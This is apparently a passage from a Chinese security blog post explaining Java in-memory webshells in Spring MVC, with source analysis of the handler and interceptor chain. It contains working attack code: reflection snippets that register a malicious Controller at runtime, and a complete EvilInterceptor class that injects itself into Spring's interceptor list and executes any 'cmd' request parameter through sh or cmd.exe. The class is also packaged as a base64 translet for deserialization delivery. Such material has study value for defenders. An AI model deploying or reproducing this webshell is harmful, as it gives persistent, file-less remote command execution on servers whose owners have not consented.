这里由于 detectHandlerMethodsprotect 作用域,因此需要通过反射调用该方法(在使用该方法注册 Controller 的时候,我们构造的恶意 Controller 需要用注解指定路径,例如 @RequestMapping("/shell")

1
2
3
4
5
6
7
8
9
//在上下文中注册一个名为 dynamicController 的 Webshell controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
//从上下文中获得 RequestMappingHandlerMapping
org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping.class);
//反射获得 detectHandlerMethods Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractHandlerMethodMapping.class.getDeclaredMethod("detectHandlerMethods", Object.class);
m1.setAccessible(true);
//通过反射将 dynamicController 注册到 handlerMap 中
m1.invoke(requestMappingHandlerMapping, "dynamicController");
registerHandler

上面两种方法适用于 spring3.1 之后,RequestMappingHandlerMapping 为映射器时。

如下面的配置,当有些老旧的项目中使用旧式注解映射器时,上下文环境中没有 RequestMappingHandlerMapping 实例的 bean,但会存在 DefaultAnnotationHandlerMapping 的实例 bean。

1
2
<bean class="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping" />
<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter" />

Spring 2.5 开始到 Spring 3.1 之前一般使用 org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping 映射器 ;

Spring 3.1 开始及以后一般开始使用新的 org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping 映射器来支持 @Contoller@RequestMapping 注解。

当使用 DefaultAnnotationHandlerMapping 作为映射器时,可以使用该类顶层父类的 registerHandler 方法来注册 Controller,但是不太常用了。

1
2
3
4
5
6
7
8
9
//在上下文中注册一个名为 dynamicController 的 Webshell controller
context.getBeanFactory().registerSingleton("dynamicController", Class.forName("org.example.springmvc.InjectedController").newInstance());
//从上下文中获得 DefaultAnnotationHandlerMapping
org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping dh = context.getBean(org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping.class);
//反射获得 registerHandler Method
java.lang.reflect.Method m1 = org.springframework.web.servlet.handler.AbstractUrlHandlerMapping.class.getDeclaredMethod("registerHandler", String.class, Object.class);
m1.setAccessible(true);
//将 dynamicController 和 URL 注册到 handlerMap 中
m1.invoke(dh, "/favicon", "dynamicController");

Interceptor 内存马

随着微服务部署技术的迭代演进,大型业务系统在到达真正的应用服务器之前往往需要经过 Load Balancer 和 API Gateway 等系统的流量转发。这样就导致在漏洞利用时可能会出现一个问题:如果请求的 url 是没有在网关系统注册的路由,在请求转发到真正的业务系统前就会被丢弃。

所以,在注入 Java 内存马时,尽量不要使用新的路由来专门处理我们注入的 Webshell 逻辑,最好是在每一次请求到达真正的业务逻辑前,都能提前进行我们 webshell 逻辑的处理。在 Tomcat 容器下,有 Filter、Listener 可以达到上述要求。在 SpringMVC 框架层面下,Interceptor(拦截器) 可以满足要求.

源码分析

Interceptor 执行流程

在前面分析的 org.springframework.web.servlet.DispatcherServlet#doDispatch 方法中,还调用了 org.springframework.web.servlet.HandlerExecutionChain#applyPreHandle 方法:

1
2
3
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}

跟进 applyPreHandle,可以看到里面遍历调用了 interceptorpreHande 方法,如果其中有拦截器返回 false 就会返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
* 依次执行已注册拦截器(HandlerInterceptor)的 preHandle 方法。
* @return 返回 true 表示“允许继续”——进入下一个拦截器或最终的 handler;
* 返回 false 表示“中断后续流程”——认为当前拦截器已自行处理了响应(如重定向/写回错误),
* DispatcherServlet 不再调用后续拦截器或目标 handler。
*/
boolean applyPreHandle(HttpServletRequest request, HttpServletResponse response) throws Exception {
// 按注册顺序遍历拦截器列表
for (int i = 0; i < this.interceptorList.size(); i++) {
HandlerInterceptor interceptor = this.interceptorList.get(i);

// 调用当前拦截器的前置方法。
// 约定:返回 true → 放行;返回 false → 终止调度(本拦截器已处理完响应)
if (!interceptor.preHandle(request, response, this.handler)) {
// 若有拦截器返回 false:立即触发 afterCompletion(清理/收尾);
// 这里传入的异常为 null,表示是“正常中断”而非异常抛出。
triggerAfterCompletion(request, response, null);
return false;
}

// 记录“最后一个成功执行了 preHandle 的拦截器索引”,
// 以便之后在触发 postHandle/afterCompletion 时,仅对 [0..index] 范围的拦截器调用。
this.interceptorIndex = i;
}
// 全部 preHandle 都返回 true:允许继续进入 handler(或之后的 postHandle 流程)
return true;
}
Interceptor 注册流程

这里主要分析的是 Spring 在处理一次请求时初始化要调用的 Interceptor 列表的过程。

doDispatch 函数调用 getHandler 时有如下调用栈:

1
2
3
4
at org.springframework.web.servlet.handler.AbstractHandlerMapping.getHandlerExecutionChain(AbstractHandlerMapping.java:604)
at org.springframework.web.servlet.handler.AbstractHandlerMapping.getHandler(AbstractHandlerMapping.java:516)
at org.springframework.web.servlet.DispatcherServlet.getHandler(DispatcherServlet.java:1266)
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1048)

跟进 getHandlerExecutionChain,该方法遍历取出 adapedInterceptor 中的 intercepter,如果该 interceptor 符合条件,就添加到 chain 中(和 Tomcat 中的 FilterChain 也是比较像的)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* 为给定的 handler 构建并返回一个 {@link HandlerExecutionChain},其中包含
* 与当前请求匹配的拦截器(HandlerInterceptor)。
*
* 默认实现:
* 1) 若传入的 handler 已经是 HandlerExecutionChain,则在其基础上“扩展”;
* 否则用该 handler 新建一个 HandlerExecutionChain。
* 2) 遍历当前 HandlerMapping 注册过的拦截器列表(adaptedInterceptors):
* - 普通拦截器:直接加入执行链;
* - MappedInterceptor(带路径匹配规则的拦截器):仅当匹配当前请求 URL 时才加入。
* 3) 拦截器按“注册顺序”加入到执行链中。
*
* 子类可覆盖本方法以“增删/重排”拦截器;如果只是简单追加拦截器,建议先调用
* super.getHandlerExecutionChain(handler, request),再对返回的 chain 调用 addInterceptor。
*
* @param handler 解析到的目标处理器(可能是原始处理器对象,也可能已是 HandlerExecutionChain)
* @param request 当前 HTTP 请求
* @return 永不为 null 的 HandlerExecutionChain
* @see #getAdaptedInterceptors()
*/
protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
// 若 handler 已是执行链,则直接复用并在其上追加拦截器;否则用 handler 新建执行链
HandlerExecutionChain chain = (handler instanceof HandlerExecutionChain ?
(HandlerExecutionChain) handler : new HandlerExecutionChain(handler));

// 依注册顺序遍历所有拦截器
for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
if (interceptor instanceof MappedInterceptor) {
// 带路径匹配条件的拦截器:仅当匹配当前请求时才加入
MappedInterceptor mappedInterceptor = (MappedInterceptor) interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
}
else {
// 普通(全局)拦截器:无条件加入
chain.addInterceptor(interceptor);
}
}
return chain;
}

内存马实现

首先通过 getBean 方法从上下文中获取 RequestMappingHandlerMapping,这个就是前面分析中的 AbstractHandlerMapping 抽象类的实现类。

1
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

之后我们需要将恶意 Interceptor 添加到 RequestMappingHandlerMapping#adaptedInterceptors 中。

1
2
TestInterceptor evilInterceptor=new EvilInterceptor();
adtedinterceptors.add(evilInterceptor);

完整代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.Base64;
import java.util.Scanner;

public class EvilInterceptor extends AbstractTranslet implements HandlerInterceptor {
static {
try {
WebApplicationContext applicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
AbstractHandlerMapping handlerMapping = applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);
Field adaptedInterceptors = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
adaptedInterceptors.setAccessible(true);
((ArrayList<Object>) adaptedInterceptors.get(handlerMapping)).add(new EvilInterceptor());
} catch (Exception ignored) {
}
}

@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
}
return true;

}

public static void main(String[] args) {
String b64 = Base64.getEncoder().encodeToString(Repository.lookupClass(EvilInterceptor.class).getBytes());
System.out.println(b64.length());
System.out.println(b64);
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}
  • Title: Java 内存马
  • Author: sky123
  • Created at : 2025-10-02 14:39:21
  • Updated at : 2025-10-06 22:47:36
  • Link: https://skyi23.github.io/2025/10/02/Java 内存马/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments